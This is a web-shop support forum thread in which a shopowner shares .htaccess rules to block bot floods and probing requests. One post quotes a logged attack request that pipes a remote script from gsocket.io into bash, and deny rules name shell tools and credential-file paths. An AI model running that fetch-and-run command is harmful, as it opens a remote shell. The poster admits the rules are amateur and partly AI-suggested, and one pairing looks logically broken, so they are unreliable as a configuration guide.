DDOS BOT activity

Open to all! Ask other shopowners for help.
MyGamesShop
Contributor
Posts: 131
Joined: Wed Mar 10, 2021 3:02 am
Phoenix Version: v1.1.0.6
Has thanked: 8 times
Been thanked: 5 times

Re: DDOS BOT activity

Post by MyGamesShop »

Here is the edited v8 with AI bots added for Phoenix that I am currently using. Just a couple of lines changed.
You edit this into your .htaccess file in the root directory of your website.

Any dramas let me know. (I am not a developer, I know nothing, use at your own risk.)
You do not have the required permissions to view the files attached to this post.


Join The Code Co-op to get access to your library in the Code Co-op Forum
MyGamesShop
Contributor
Posts: 131
Joined: Wed Mar 10, 2021 3:02 am
Phoenix Version: v1.1.0.6
Has thanked: 8 times
Been thanked: 5 times

Re: DDOS BOT activity

Post by MyGamesShop »

Also edit this at the end of your .htaccess if you seeing this alot. "/?back_time=0:00 "
23/7[Edit] 'add rest_route as new flood type

RewriteEngine On
RewriteCond %{QUERY_STRING} ^back_time= [NC]
RewriteCond %{QUERY_STRING} ^rest_route=/ [NC]
RewriteRule ^ - [F,L]
Last edited by MyGamesShop on Thu Jul 23, 2026 1:09 am, edited 1 time in total.
MyGamesShop
Contributor
Posts: 131
Joined: Wed Mar 10, 2021 3:02 am
Phoenix Version: v1.1.0.6
Has thanked: 8 times
Been thanked: 5 times

Re: DDOS BOT activity

Post by MyGamesShop »

To prove that I know very little I had a small issue with the file I uploaded 22.02.2026. (Read on)
I have a product 'Citadel Contrast Paint : Ultramarines Blue' when navigating away from it or adding to my cart it generated a 403 error dropping me from my site and requiring a reload I could see it in the cart but doing anything else much again dropped me from my site requiring a reload from the index page which i could also no longer see.
Editing the product in admin also dropped me.

Editing the .htaccess the file to remove the match 'ultram' in there fixed it.
Anyway just sayin your should read and keep in mind your product's name as it might match one of the conditions.
User avatar
burt
Core Team
Posts: 4550
Joined: Tue Oct 29, 2019 9:37 am
Phoenix Version: v1.1.0.8
Has thanked: 252 times
Been thanked: 412 times

Re: DDOS BOT activity

Post by burt »

MyGamesShop wrote: Sun May 31, 2026 5:36 am Editing the .htaccess the file to remove the match 'ultram' in there fixed it.
Anyway just sayin your should read and keep in mind your product's name as it might match one of the conditions.
You site got war-Hammered by Ultramarines Blue :mrgreen:
Word bearers say hello, they're coming for you next.
MyGamesShop
Contributor
Posts: 131
Joined: Wed Mar 10, 2021 3:02 am
Phoenix Version: v1.1.0.6
Has thanked: 8 times
Been thanked: 5 times

Re: DDOS BOT activity

Post by MyGamesShop »

New today in logs: /?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22

added these to end of .htaccess

RewriteEngine On
RewriteCond %{QUERY_STRING} (bash|curl|wget|sh\b|chmod|chown) [NC,OR]
RewriteCond %{QUERY_STRING} cmd= [NC]
RewriteRule ^ - [F,L]

RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (base64_encode|localhost|127\.0\.0\.1) [NC,OR]
RewriteCond %{QUERY_STRING} (cmd|command)(=|%3D) [NC,OR]
RewriteCond %{QUERY_STRING} (boot\.ini|etc/passwd|win\.ini) [NC,OR]
RewriteCond %{QUERY_STRING} (url|eval|passthru|shell_exec|system|popen|exec) [NC]
RewriteRule ^ - [F,L]


The second lot of rules were suggested by Gemini
Remember I don't know what I'm doing so use at your risk. I took system out of the above as it denies 'Game System' etc


Join The Code Co-op to get access to your library in the Code Co-op Forum
Post Reply